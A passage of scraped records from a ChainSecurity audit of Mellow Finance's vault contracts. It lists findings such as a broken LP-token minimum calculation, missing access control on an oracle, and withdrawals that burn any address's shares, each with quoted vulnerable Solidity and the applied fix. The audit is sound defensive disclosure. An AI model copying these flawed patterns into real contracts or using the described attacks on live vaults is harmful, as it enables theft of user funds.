functions. Similarly, multiple functions in VaultGovernance use the same access control, although they are not called by the strategies. Acknowledged: Mellow Finance is aware that these functions are not called by smart contracts implementing the strategies, but they can be called by an EOA in case it manages the vault system. Client replied: The vault system can be managed not by strategy, but by some account. In such a case this account should have the possibility to edit `depositorsAllowList`. These 2 functions exist for this reason. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.7 Redundant Check for baseSupply", "body": " The function ERC20RootVault._chargePerformanceFees performs a check of baseSupply is equal to 0, and returns if this is the case: if ((performanceFee == 0) || (baseSupply == 0)) { return; } However, this check is redundant because _chargeFees performs the same check and returns before calling _chargePerformanceFees. Acknowledged: Client acknowledged the redundant check but has decided to keep it as it enhances the readability of the code. Mellow Finance - Mellow Vaults - 16 DesignLowVersion4AcknowledgedDesignLowVersion4Acknowledged \f5.8 Redundant Check for deltaSupply The function _getBaseParamsForFees performs the following check on withdrawals: baseSupply = 0; if (supply > deltaSupply) { baseSupply = supply - deltaSupply; } The deltaSupply corresponds to the LP shares that a user is burning, which is less than or equal to the balance of that user. Hence, it is always less or equal to the totalSupply. Acknowledged: Client acknowledged the redundant check but has decided to keep it as it enhances the readability of the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.9 Redundant Checks on Push Function", "body": " The function IntegrationVault.push performs the following checks that are always true when a vault is linked to a root vault: uint256 nft_ = _nft; require(nft_ != 0, ExceptionsLibrary.INIT); IVaultRegistry vaultRegistry = _vaultGovernance.internalParams().registry; IVault ownerVault = IVault(vaultRegistry.ownerOf(nft_)); // Also checks that the token exists uint256 ownerNft = vaultRegistry.nftForVault(address(ownerVault)); require(ownerNft != 0, ExceptionsLibrary.NOT_FOUND); Acknowledged: Mellow Finance has decided to keep the checks to prevent from pushing and pulling on uninitialized vaults. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.10 State Updates After Reentrancy Possibility", "body": " When creating a vault, _mint is called to mint the NFT. This calls the receiver and gives an opportunity to reenter the system. _safeMint(owner, nft); _vaultIndex[nft] = vault; _nftIndex[vault] = nft; _vaults.push(vault); _topNft += 1; emit VaultRegistered(tx.origin, msg.sender, nft, vault, owner); Mellow Finance - Mellow Vaults - 17 DesignLowVersion4AcknowledgedDesignLowVersion4AcknowledgedDesignLowVersion4CodePartiallyCorrected \fState updates and events are emitted after the possible reentrancy in this function and the calling functions. Coding guidelines suggest following the check-effects-interaction pattern to mitigate reentrancy vulnerabilities. Code partially corrected: The minting statement _safeMint has been moved to the end of the function registerVault. However, state is still updated afterwards in functions createVault of vault governance contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.11 Missing Slippage Protection in _mintNewNft", "body": " The function _mintNewNft in LStrategy sets the parameters amount0Min and amount1Min of the MintParams to zero, hence disabling any slippage protection. However, the risk exposure in this case is limited as a new position in Uniswap should be open with small amounts minTokenXForOpening. The exact amount depends on admin who sets the otherParams. Acknowledged: to check if the variables minTokenXForOpening are smaller Sanity checks were introduced in than 10**9. This adds another layer of protection to ensure that the number of tokens is relatively low. Still, the number of tokens does not guarantee that the value is small. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.12 UniV3Vault Pulls More Tokens Than", "body": " Requested UniV3Vault._pullUniV3Nft first calculates the amount of tokens to pull, then decreases the liquidity inside the Uniswap position and then collects the tokens. When the earnings have not been collected before, the last step additionally collects the earnings, returning more tokens than intended. The function should take the tokens owed into consideration when calculating the amount to pull. Acknowledged Mellow Finance acknowledged the issue and replied that the strategy maintainer can call the collectEarnings function to collect all the fees. Mellow Finance - Mellow Vaults - 18 SecurityLowVersion1AcknowledgedVersion3CorrectnessLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 5 14 17 -Severity Findings Mismatch of Specification With Uniswap V3 Oracle Chainlink Oracle Returns Empty Prices Incorrect LP Token Calculation in ERC20RootVault Missing Access Control in UniV3Oracle UniV3Oracle Returns Reverse Prices for Token Pairs -Severity Findings Incorrect TVL Conversion Adding up Total Value Locked on Different Tokens Calling _liquidityDelta Incorrectly Calling _liquidityDelta With Incorrect Inputs Incorrect Observation Index in _getAverageTick Incorrect Parameters on externalCall Insufficient Testing Opposite Vaults Are Swapped Possibility to Exit Positions of Any Address Possible DOS From First Depositor Setting Wrong State Variable Wrong Formula in _rebalanceUniV3Liquidity Wrong TVL Calculation in ERC20RootVault liquidity Gets Overwritten in the Loop -Severity Findings Wrong State Variable Updated Inconsistent Access Control for Rebalance in LStrategy Inconsistent Sanity Check on First Deposit's Amounts Safety Level of Returned Prices Can Silently Downgrade Unfair Distribution of LP Shares in ERC20RootVault Conflicting Specifications for MStrategy Implementation Differs From Specification on _targetTokenRatioD Incorrect Access of Addresses in EnumerableSet Missing Checks for Dust Amounts When Rebalancing Pools Missing Delay Restriction in BaseValidator Mellow Finance - Mellow Vaults - 19 CriticalCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedHighCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrected \f Missing Sanity Checks in signOrder No Slippage Protection in Multiple Contracts Possible Underflow in UniV3Oracle.price Rebalance in LStrategy Can Leave Tokens in the Vault to Be Closed Subvault Tokens Are Not Checked in AggregateVault Transferring Tokens Only to lowerVault Use of Libraries -Severity Findings Missing Sanity Checks for intervalWidthInTicks Possible Attack by First Depositor Possible Optimization on _chargePerformanceFees Possible Violation of the Minimum Token Amounts After the First Deposit Misleading Function Name and Natspec Mismatch of Specifications for StrategyParams Missing Sanity Check for maxSlippageD in MStrategy 41 Missing Sanity Checks for oracleSafetyMask Possible Struct Optimization in Strategies Redundant Comparisons Redundant Storage Read in ERC20Vault._pull Variables Can Be Declared as Constant Incorrect Specification for reclaimTokens Missing Natspec Description for minDeviation Casting of maxTickDeviation Check Requirements First Duplicate Code _permissionIdsToMask Duplicate Storage Read in Deposit Inconsistent Specifications Inefficient Array Shrinking Inefficient State Variable Packing Misleading Naming of Variables in UniV3Oracle Missing Sanity Check in MStrategy.createStrategy Missing Sanity Checks for Params Misspelled Variable Names Possible Struct Optimization Rebalance in MStrategy Is Inconsistent Specification for minDeviation Not Enforced Storing Redundant Data in Storage Unnecessary Approval to Vault Registry Mellow Finance - Mellow Vaults - 20 CodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrected \f Unused Constant in ERC20Validator Unused Event DeployedVault Unused Function LStrategy._priceX96FromTick Unused Imports Wrong Check of Minimum Token Amounts in ERC20RootVault.withdraw Wrong Specification for YearnVault.tvl ContractRegistry DOS ERC20Vault._pull Forces Push of Wrong Amount of Tokens IntegrationVault._root Does Not Check the NFT of the Root Vault VaultGovernance.commitInternalParams Does Not Delete Staged Parameters registry.ownerOf Is Called Twice in IntegrationVault.pull ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.1 Mismatch of Specification With Uniswap V3", "body": " Oracle The specifications of the function price for oracles are in the interface IOracle as following: /// @dev The price is token1 / token0 i.e. how many weis of token1 /// required for 1 wei of token0. function price( address token0, address token1, uint256 safetyIndicesSet ) external view returns (uint256[] memory, uint256[] memory); According to the specification, priceA_B = price(tokenA, tokenB) should be the inverse of priceB_A = price(tokenB, tokenA), meaning relation should hold: priceA_B = 1 / priceB_A. following the The function UniV3Oracle.price in returns the same price for a pair of tokens without differentiating in which denomination token the price should be. Namely, the function returns the same prices when calling price(tokenA, tokenB) or price(tokenB, tokenA). This behavior is enforced in the first if statement of the function: if (token0 > token1) { (token0, token1) = (token1, token0); } The Uniswap V3 Oracle has been revised, the Uniswap's OracleLibrary is now used and a flag isSwapped is added to track the correct denomination of the returned price. Mellow Finance - Mellow Vaults - 21 CodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessCriticalVersion2CodeCorrectedVersion2 \f6.2 Chainlink Oracle Returns Empty Prices ChainlinkOracle maintains the mapping oraclesIndex which stores addresses of chainlink oracles for each token. The mapping is populated by the admin through the function _addChainlinkOracles: function _addChainlinkOracles(address[] memory tokens, address[] memory oracles) internal { ... oraclesIndex[token] = oracle; ... } The function price(token0,token1,safetyIndicesSet) checks if the mapping oraclesIndex has the addresses for the respective Chainlink oracles: if ((address(chainlinkOracle0) != address(0)) || (address(chainlinkOracle1) != address(0))) { return (pricesX96, safetyIndices); // returns empty values } The condition above is incorrect as it returns empty values if the Chainlink oracles exist in the mapping. This makes the Chainlink oracle - assumed to be the safest by the specifications and the code - unusable. The above check in function price has been revised to return empty prices only if there is no entry for at least one of the tokens in mapping oraclesIndex: if ((address(chainlinkOracle0) == address(0)) || (address(chainlinkOracle1) == address(0))) { return (pricesX96, safetyIndices); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.3 Incorrect LP Token Calculation in ", "body": " ERC20RootVault ERC20RootVault._getLpAmount incorrectly calculates the minimum of given token amounts. An attacker can issue more LP tokens than he is entitled to and can then exchange them back for additional tokens. The following code incorrectly resets the MIN calculation for as many iterations as tokenLpAmount is equal to 0: for (uint256 i = 0; i < tvlsLength; ++i) { if ((amounts[i] == 0) || (tvl_[i] == 0)) { continue; } uint256 tokenLpAmount = FullMath.mulDiv(amounts[i], supply, tvl_[i]); if ((tokenLpAmount < lpAmount) || (lpAmount == 0)) { lpAmount = tokenLpAmount; Mellow Finance - Mellow Vaults - 22 CorrectnessCriticalVersion1CodeCorrectedCorrectnessCriticalVersion1CodeCorrected \f } } If tokenLpAmount == 0 in the first iteration, lpAmount will be set to 0. If tokenLpAmount > 0 in the next iteration, lpAmount will be set to tokenLpAmount although it is larger than the already set value. In a later step, ERC20RootVault._getNormalizedAmount normalizes the sent token amounts to the calculated lpAmount. This function however does not increase the normalized amount to a value greater than the sent one. An attacker can therefore exploit this by calling deposit with all token amounts but the last one being set to 0 and then calling withdraw with the LP tokens that have just been minted to obtain his initial investment plus an amount of all other tokens in the Vault equal to the current ratio of tokens. The function _getLpAmount has been refactored to set the lpAmount to the minimum of tokenLpAmount calculated on each iteration of the for loop. The flag isLpAmountUpdated is set to true on the first iteration that a non-zero value is assigned to lpAmount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.4 Missing Access Control in UniV3Oracle", "body": " The function addUniV3Pools populates the mapping poolsIndex with the address of a Uniswap pool for a pair of tokens. The function should be accessible only to trusted accounts, however, it does not implement any access restriction. As the function is external anyone can set arbitrary addresses as Uniswap pools, hence freely manipulate the oracle prices. The updated code resolves the issue by restricting the access to the function addUniV3Pools only to the admin, hence preventing malicious users from setting arbitrary addresses as Uniswap pools: function addUniV3Pools(IUniswapV3Pool[] memory pools) external { _requireAdmin(); _addUniV3Pools(pools); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.5 UniV3Oracle Returns Reverse Prices for", "body": " Token Pairs The UniV3Oracle computes the price for two tokens using the Uniswap V3 observations. As the tokens in Uniswap are always sorted by their address (Token0 < Token1), the function price uses a flag revTokens to distinguish if the price from Uniswap corresponds to the order of function parameters, or if it should be reversed. The respective code is: Mellow Finance - Mellow Vaults - 23 SecurityCriticalVersion1CodeCorrectedCorrectnessCriticalVersion1CodeCorrected \ffunction price(address token0,address token1,uint256 safetyIndicesSet) external view returns (uint256[] memory pricesX96, uint256[] memory safetyIndices) { ... bool revTokens = token1 > token0; for (uint256 i = 0; i < len; i++) { if (revTokens) { pricesX96[i] = FullMath.mulDiv(CommonLibrary.Q96, CommonLibrary.Q96, pricesX96[i]); } pricesX96[i] = FullMath.mulDiv(pricesX96[i], pricesX96[i], CommonLibrary.Q96); } } The flag revToken is set to true if the tokens in the function parameters are ordered as in Uniswap, hence incorrectly reverses the computed price. The contract UniV3Oracle has been refactored due to the bug presented above and other issues reported for this contract. The code above that mistakenly reversed the prices is not present anymore in , however, another issue has been introduced on the fix. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.6 Incorrect TVL Conversion", "body": " The function _getTvlToken0 incorrectly converts the TVL amount of a given token i into token 0. The oracle returns a price in x96 format. This price is directly used as if it would be a correctly formatted price to convert the amounts. As the TVL in most cases will be lower than the price in x96 format the calculation will return 0. tvl0 = tvls[0]; for (uint256 i = 1; i < tvls.length; i++) { (uint256[] memory prices, ) = oracle.price(tokens[0], tokens[i], 0x28); require(prices.length > 0, ExceptionsLibrary.VALUE_ZERO); uint256 price = 0; for (uint256 j = 0; j < prices.length; j++) { price += prices[j]; } price /= prices.length; tvl0 += tvls[i] / price; Additionally, the calculation would be more precise if the price would be multiplied to convert the amounts. The issue about the conversion of TVLs in function _getTvlToken0 has been addressed. The last statement of the for-loop has been changed: tvl0 += FullMath.mulDiv(tvls[i], CommonLibrary.Q96, priceX96); Mellow Finance - Mellow Vaults - 24 Version2CorrectnessHighVersion3CodeCorrected \f6.7 Adding up Total Value Locked on Different Tokens function postPreOrder calls The tvl[0] + tvl[1] (see the issue reported in Calling _liquidityDelta incorrectly). the function _liquidityDelta with tvl[0] and Additionally, the calculations are performed on tvl with different underlying tokens. Namely, tvl[0] is in the denomination of token0, while tvl[1] in the denomination of token1. , the first argument tvl[0] is converted into the domination The issue is resolved in code base of token1 before passed to _liquidityDelta, while the second parameter tvl[1] remains in the denomination of token1. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.8 Calling _liquidityDelta Incorrectly", "body": " The function postPreOrder in Lstrategy calls _liquidityDelta as follows: (uint256 tokenDelta, bool isNegative) = _liquidityDelta( tvl[0], tvl[0] + tvl[1], ratioParams.erc20TokenRatioD, ratioParams.minErc20TokenRatioDeviationD ); As already pointed out in the issue Calling _liquidityDelta with incorrect inputs, the function _liquidityDelta also performs the addition, hence computing incorrectly the result. The parameters passed to the function _liquidityDelta have been corrected, namely the addition of tvl[0] + tvl[1] is removed and only tvl[1] is passed as the second argument of the function call. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.9 Calling _liquidityDelta With Incorrect", "body": " Inputs The function rebalanceERC20UniV3Vaults in LStrategy calls _liquidityDelta as follows: (capitalDelta, isNegativeCapitalDelta) = _liquidityDelta( erc20VaultCapital, erc20VaultCapital + lowerVaultCapital + upperVaultCapital, ratioParams.erc20UniV3CapitalRatioD, Mellow Finance - Mellow Vaults - 25 CorrectnessHighVersion1CodeCorrectedVersion2CorrectnessHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrected \f ratioParams.minErc20UniV3CapitalRatioDeviationD ); Note that, the first parameter is included in the sum used as the second parameter. However, the function _liquidityDelta also performs the addition on the code below, hence computing targetLowerLiquidity incorrectly: uint256 targetLowerLiquidity = FullMath.mulDiv( targetLiquidityRatioD, lowerLiquidity + upperLiquidity, DENOMINATOR ); In rebalanceERC20UniV3Vaults the calculation does not add erc20VaultCapital anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.10 Incorrect Observation Index in ", "body": " _getAverageTick Function _getAverageTick computes the averageTick and the tickDeviation based on the most recent observation and a previous observation referred as observationIndexLast. The latter index is computed as follows: uint16 observationIndexLast = observationIndex >= oracleObservationDelta ? observationIndex - oracleObservationDelta : observationIndex + (type(uint16).max - oracleObservationDelta + 1); If oracleObservationDelta is larger than observationIndex (e.g., by 1), the code above returns a value that is close (or equal) to type(uint16).max. It is very likely that the Uniswap pool has a smaller cardinality of observations than the computed observationIndexLast, hence 0s would be returned for this observation. formula The when oracleObservationDelta > observationIndex has been revised, type(uint16).max has been replaced with observationCardinality. observationIndexLast compute to obsIdx = 20 delta = 30 card = 50 --- 20 + 50 -30 = 40 obsIdx = 30 delta = 30 card = 50 --- 0 obsIdx = 30 delta = 31 card = 50 --- 30 + 50 -31 = 49 obsIdx = 30 delta = 49 card = 50 --- 30 + 50 - 49 = 31 generalized: obsIdx + card - delta % card Mellow Finance - Mellow Vaults - 26 CorrectnessHighVersion1CodeCorrected \f6.11 Incorrect Parameters on externalCall The function signOrder in LStrategy performs few externalCall s, and for one of them sets the wrong parameters as input: bytes memory setPresignatureData = abi.encode(SET_PRESIGNATURE_SELECTOR, uuid, signed); erc20Vault.externalCall(cowswap, SET_PRESIGNATURE_SELECTOR, setPresignatureData); Note that the function selector is part of the abi.encode and then is set as the second parameter in externalCall, which also appends the selector when executing the call, hence causing the external function to always fail: (bool res, bytes memory returndata) = to.call{value: msg.value}(abi.encodePacked(selector, data)); The external call in LStrategy.signOrder does not encode the SET_PRESIGNATURE_SELECTOR twice anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.12 Insufficient Testing", "body": " We found an unusual high number of issues that would have been easily detected with proper tests. The current unit and integration tests are insufficient. The tests have been extended significantly on the latest iterations of the review process to cover more functions and call paths. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.13 Opposite Vaults Are Swapped", "body": " The function _swapVaults in LStrategy should close the position with no liquidity and open a new one given the price move in positiveTickGrowth. The decision on which vault to close is done in the following if condition: /// @param positiveTickGrowth `true` if price tick increased ... if (!positiveTickGrowth) { (fromVault, toVault) = (lowerVault, upperVault); } else { (fromVault, toVault) = (upperVault, lowerVault); } The function closes the fromVault and creates the new vault according to the current position of toVault. However, the code above assigns fromVault wrongly to lowerVault if the tick is Mellow Finance - Mellow Vaults - 27 CorrectnessHighVersion1CodeCorrectedSecurityHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrected \fdecreasing, and vice-versa if the tick is increasing. Given this error and the following requirement, the function would fail always (as fromVault has all liquidity): require(fromLiquidity == 0, ExceptionsLibrary.INVARIANT); The vaults were switched like: if (!positiveTickGrowth) { (fromVault, toVault) = (upperVault, lowerVault); } else { (fromVault, toVault) = (lowerVault, upperVault); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.14 Possibility to Exit Positions of Any Address", "body": " In ERC20RootVault.withdraw, LP tokens are burned in a call to _burn from the address that is specified in the to parameter. Neither _burn nor any other statement in withdraw performs access control checks to verify if the msg.sender is allowed to burn the tokens of the given address. Thus, any user can burn LP tokens of a given address and transfer the underlying tokens to that address. Finally, an incorrect event is emitted with msg.sender. . The function withdraw now burns only The issues have been resolved in the updated code the LP tokens of the msg.sender, while transfers the underlying tokens to the address to specified by the caller. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.15 Possible DOS From First Depositor", "body": " The first user that calls deposit in ERC20RootVault can choose freely any amount (including zero) for each vault token, while the LP shares are set to the largest amount by the following loop in _getLpAmount: for (uint256 i = 0; i < tvl_.length; ++i) { if (amounts[i] > lpAmount) { lpAmount = amounts[i]; } } However, if the first user (on initialization or whenever totalSupply is zero) chooses to deposit only one token (e.g., token[0]) it makes impossible for other users to deposit other tokens (e.g., token[1]) as the totalSupply is not zero anymore, and _getNormalizedAmount considers the existing TVL: Mellow Finance - Mellow Vaults - 28 SecurityHighVersion1CodeCorrectedVersion2SecurityHighVersion1CodeCorrected \f// normalize amount uint256 res = FullMath.mulDiv(tvl_, lpAmount, supply); // if tvl_ == 0, res = 0 The intended use of the function might be that the first deposit is done by a trusted account, but this is not enforced. A new constant FIRST_DEPOSIT_LIMIT is introduced and a require checks that each token amount is above this limit with tokenAmounts[i] > FIRST_DEPOSIT_LIMIT. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.16 Setting Wrong State Variable", "body": " The function _setOperatorParams in VaultGovernance, as the name suggests, should update the state variable _operatorParams, instead it overwrites the variable _protocolParams: function _setOperatorParams(bytes memory params) internal { _requireAtLeastOperator(); _protocolParams = params; } This mistake has severe consequences: operator gets admin privileges to set _protocolParams or can set a vault state to incorrect parameters. Finally, the functionality to initialize or update the _operatorParams is missing. The issue is resolved and now the function _setOperatorParams sets the operator params as intended. The natspec description has been updated accordingly also. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.17 Wrong Formula in ", "body": " _rebalanceUniV3Liquidity The function _rebalanceUniV3Liquidity in LStrategy updates the value of liquidity as follows: liquidity = uint128( FullMath.mulDiv( availableBalances[i], shouldDepositTokenAmountsD[i] - shouldWithdrawTokenAmountsD[i], DENOMINATOR ) ); The formula above is wrong, it multiplies two amounts in token[i], then divides the result with DENOMINATOR. Mellow Finance - Mellow Vaults - 29 CorrectnessHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrected \f The formula now multiplies with DENOMINATOR and divides by the token amount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.18 Wrong TVL Calculation in ERC20RootVault", "body": " ERC20RootVault._getTvlToken0 calculates the TVL of the Vault denominated in the token at position 0 of an array of tokens. It iterates over all the tokens in the array, but only ever compares token with index 0 to token with index 1. It should, however, compare token with index 0 to the token with the current iteration's index. The function is only used in _calculatePerformanceFees. for (uint256 i = 1; i < tvls.length; i++) { (uint256[] memory prices, ) = oracle.price(tokens[0], tokens[1], 0x28); The issue has been resolved as the correct index is now used when querying the price of tokens inside the loop. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.19 liquidity Gets Overwritten in the Loop", "body": " The following loop in LStrategy._rebalanceUniV3Liquidity updates the liquidity for vault tokens in a loop: for (uint256 i = 0; i < 2; i++) { ... liquidity = uint128( FullMath.mulDiv( availableBalances[i], shouldDepositTokenAmountsD[i] - shouldWithdrawTokenAmountsD[i], DENOMINATOR ) ); } The final value of liquidity after the loop exists should be the minimum value calculated in each iteration, however, the loop above overwrites the liquidity on each iteration without performing any check. In with liquidity, hence liquidity can only decrease in the loop: the potentialLiquidity is computed on each iteration of the loop and it is compared Mellow Finance - Mellow Vaults - 30 CorrectnessHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrectedVersion2 \fliquidity = potentialLiquidity < liquidity ? potentialLiquidity : liquidity; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.20 Wrong State Variable Updated", "body": " The function LStrategy.rebalanceUniV3Vaults updates the wrong state variable when storing the timestamp of the ongoing rebalance: require( block.timestamp >= lastRebalanceUniV3VaultsTimestamp + otherParams.secondsBetweenRebalances, ExceptionsLibrary.TIMESTAMP ); lastRebalanceERC20UniV3VaultsTimestamp = block.timestamp; Due to this error the throttling mechanism does not work as expected for the function rebalancing the two function uniswap vaults. Furthermore, rebalanceERC20UniV3Vaults. throttling mechanism of this also affects the the The issue has been fixed and the correct state variable is updated in rebalanceUniV3Vaults: lastRebalanceUniV3VaultsTimestamp = block.timestamp; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.21 Inconsistent Access Control for Rebalance in", "body": " LStrategy The function LStrategy.rebalanceERC20UniV3Vaults restricts the access to only accounts with operator or admin roles. However, functions deposit and withdraw in the ERC20RootVault do not have any access restriction (unless the vault is private). The root vault has the operator role in LStrategy and for any deposit or withdraw operation, the vault triggers the rebalance function in LStrategy, hence circumventing the access control of the rebalance function. Specification changed: Mellow Finance has decided to remove the callback feature that triggered the rebalance in LStrategy. Now, the rebalance functions rebalanceERC20UniV3Vaults and rebalanceUniV3Vaults can be called only by whitelisted addresses with either admin or operator role. Note that, the callback feature is still present in ERC20RootVault in case future strategies will support the callback feature. Mellow Finance - Mellow Vaults - 31 DesignMediumVersion8CodeCorrectedDesignMediumVersion4Speci\ufb01cationChanged \f6.22 Inconsistent Sanity Check on First Deposit's Amounts The function ERC20RootVault.deposit runs the following loop for the first deposit (whenever totalSupply is 0) to check that all amounts are above a threshold FIRST_DEPOSIT_LIMIT (hard-coded to 10000): if (totalSupply == 0) { for (uint256 i = 0; i < tokens.length; ++i) { require(tokenAmounts[i] > FIRST_DEPOSIT_LIMIT, ExceptionsLibrary.LIMIT_UNDERFLOW); } } The contract uses another set of thresholds per token _pullExistentials which are initialized as: 10**(token.decimals() / 2). Hence for tokens with more than 8 decimals, there is a gap between the two thresholds FIRST_DEPOSIT_LIMIT and _pullExistentials. If the first deposit includes an amount for a token in this gap, the contract does not allow new deposits for the token from other users as the respective TVL will be always below the threshold _pullExistentials. This behavior is enforced in _getLpAmount: for (uint256 i = 0; i < tvlsLength; ++i) { if (tvl_[i] < pullExistentials[i]) { continue; } ... } and in the function _getNormalizedAmount: if (tvl_ < existentialsAmount) { // use zero-normalization when all tvls are dust-like return 0; } Mellow Finance now requires that the amount in the first deposit is 10 times the _pullExistentials. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.23 Safety Level of Returned Prices Can Silently", "body": " Downgrade The function UniV3Oracle.price returns more than one price depending on the value of safetyIndicesSet. UniV3Oracle supports 4 safety levels: Safety level 1: spot price. Safety level 2: average price based on observations from last 2.5 minutes. Mellow Finance - Mellow Vaults - 32 DesignMediumVersion4CodeCorrectedSecurityMediumVersion4Speci\ufb01cationChanged \f Safety level 3: average price based on observations from last 7.5 minutes. Safety level 4: average price based on observations from last 30 minutes. If a Uniswap pool does not have enough observations required for a safety level, the oracle skips the prices for such safety levels and returns only prices with lower safety levels. The respective code: for (uint256 i = 2; i < 5; i++) { ... (int24 tickAverage, , bool withFail) = OracleLibrary.consult(address(pool), observationTimeDelta); if (withFail) { break; } ... } Specifications changed: The natspec description of IOracle.priceX96 has been updated to be more explicit about this behavior: /// @notice It is possible that not all indices will have their respective prices returned. Also, more detailed description has been added in UniV3Oracle.priceX96: /// If there is no initialized pool for the passed tokens, empty arrays will be returned. /// Depending on safetyIndicesSet if the 1st bit in safetyIndicesSet is non-zero, then the response will contain the spot price. /// If there is a non-zero 2nd bit in the safetyIndicesSet and the corresponding position in the pool was created no later than |l|_OBS_DELTA seconds ago, /// then the average price for the last |l|_OBS_DELTA seconds will be returned. The same logic exists for the 3rd and MID_OBS_DELTA, and 4th index and |hl|_OBS_DELTA. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.24 Unfair Distribution of LP Shares in", "body": " ERC20RootVault The ERC20RootVault charges the management, protocol and performance fees by minting new LP shares, hence inflating the total supply. The function _chargeFees is triggered on every deposit (and withdraw) action, hence the total supply of LP shares after a deposit increases more than the amount of LP shares awarded to the depositor. In this way, a second deposit of the same token amounts after the fees have been charged, receives more LP shares than the first one. For example, assume that the ERC20RootVault has been initialized and a first user deposits 10 TokenA and 10 TokenB (assuming 0 decimals for simplicity) and receives 10 LP shares. As the fees will be charged on deposit, let's suppose another 1 LP share will be minted, hence in total there are 11 LP shares minted after the deposit. If a second user deposits the same amounts 10 TokenA and 10 TokenB, the function _getLpAmount will award 11 LP shares to the user although the same amounts were deposited. Mellow Finance - Mellow Vaults - 33 DesignMediumVersion3CodeCorrected \fThe issue has been addressed by modifying the functions deposit to charge fees first and then compute the LP shares awarded to the user according to the new LP supply. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.25 Conflicting Specifications for MStrategy", "body": " The specifications of MStrategy have conflicting instructions. The section \"TickMin and TickMax update\" states: tickMin and tickMax are initially set to some ad-hoc params. As soon as the current price \u2014 tick is greater than tickMax - tickNeiborhood or less than tickMin + tickNeiborhood the boundaries of the interval is expanded by tickIncrease amount. In the rebalance steps, tickNeiborhood is used instead of tickIncrease: - tick is greater than tickMax - tickNeiborhood then new boundaries are [tickMin, tickMax + tickNeiborhood] - tick is less than tickMin + tickNeiborhood then new boundaries are [tickMin - tickNeiborhood, tickMax] Specification changed: The specification was changed accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.26 Implementation Differs From Specification", "body": " on _targetTokenRatioD The specifications use the following formula to compute the portions of tokens in a Uniswap v3 pool: | wx = tick \u2212 tickMax tickMin \u2212 tickMax However, the implementation uses the following code: return (uint256(uint24(tick - tickMin)) * DENOMINATOR) / uint256(uint24(tickMax - tickMin)); which corresponds to the following formula: | wx = tick \u2212 